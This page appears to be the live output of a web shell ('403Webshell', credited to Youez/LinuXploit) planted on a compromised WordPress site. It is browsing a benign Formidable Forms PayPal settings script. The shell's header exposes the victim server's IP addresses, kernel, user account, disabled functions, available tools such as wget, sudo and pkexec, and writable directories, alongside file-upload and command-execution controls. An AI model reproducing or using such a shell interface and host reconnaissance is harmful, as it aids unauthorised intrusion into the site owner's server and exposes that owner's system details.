403Webshell
Server IP : 63.32.33.223  /  Your IP : 172.31.12.34
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64
User : kazang ( 1006)
PHP Version : 8.2.31
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/kazang/web/kazang.com/public_html/wp-content/plugins/formidable/paypal/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kazang/web/kazang.com/public_html/wp-content/plugins/formidable/paypal/js/settings.js
( function() {
	// Use event delegation so Reconnect buttons rendered after AJAX seller-status
	// responses also trigger the OAuth flow.
	document.addEventListener( 'click', function( e ) {
		const button = e.target.closest( '.frm-connect-paypal-with-oauth' );
		if ( ! button ) {
			return;
		}

		e.preventDefault();

		const { mode, reconnect } = button.dataset;
		const formData = new FormData();
		formData.append( 'mode', mode );
		if ( reconnect ) {
			formData.append( 'reconnect', reconnect );
		}
		frmDom.ajax.doJsonPost( 'paypal_oauth', formData ).then(
			function( response ) {
				if ( response.redirect_url !== undefined ) {
					window.location = response.redirect_url;
				}
			}
		).catch(
			function( error ) {
				console.error( 'PayPal OAuth request failed:', error );
			}
		);
	} );

	document.addEventListener(
		'click',
		function( event ) {
			if ( ! event.target.id.startsWith( 'frm_disconnect_paypal_' ) ) {
				return;
			}

			event.preventDefault();
			const formData = new FormData();
			formData.append( 'testMode', 'test' === event.target.id.replace( 'frm_disconnect_paypal_', '' ) ? 1 : 0 );
			frmDom.ajax.doJsonPost( 'paypal_disconnect', formData ).then(
				function( response ) {
					if ( response.success ) {
						window.location.reload();
					}
				}
			);
		}
	);

	document.querySelectorAll( '.frm_paypal_seller_status_placeholder' ).forEach(
		function( placeholder ) {
			const { mode } = placeholder.dataset;
			const interval = setInterval(
				function() {
					if ( placeholder.offsetParent === null ) {
						return;
					}

					clearInterval( interval );

					const formData = new FormData();
					formData.append( 'testMode', 'test' === mode ? 1 : 0 );
					frmDom.ajax.doJsonPost( 'paypal_render_seller_status', formData )
						.then(
							function( sellerStatus ) {
								placeholder.innerHTML = sellerStatus;
							}
						).catch(
							function( error ) {
								if ( 'string' === typeof error ) {
									placeholder.innerHTML = error;
								}

								clearInterval( interval );
							}
						);
				},
				100
			);
		}
	);
}() );

Youez - 2016 - github.com/yon3zu
LinuXploit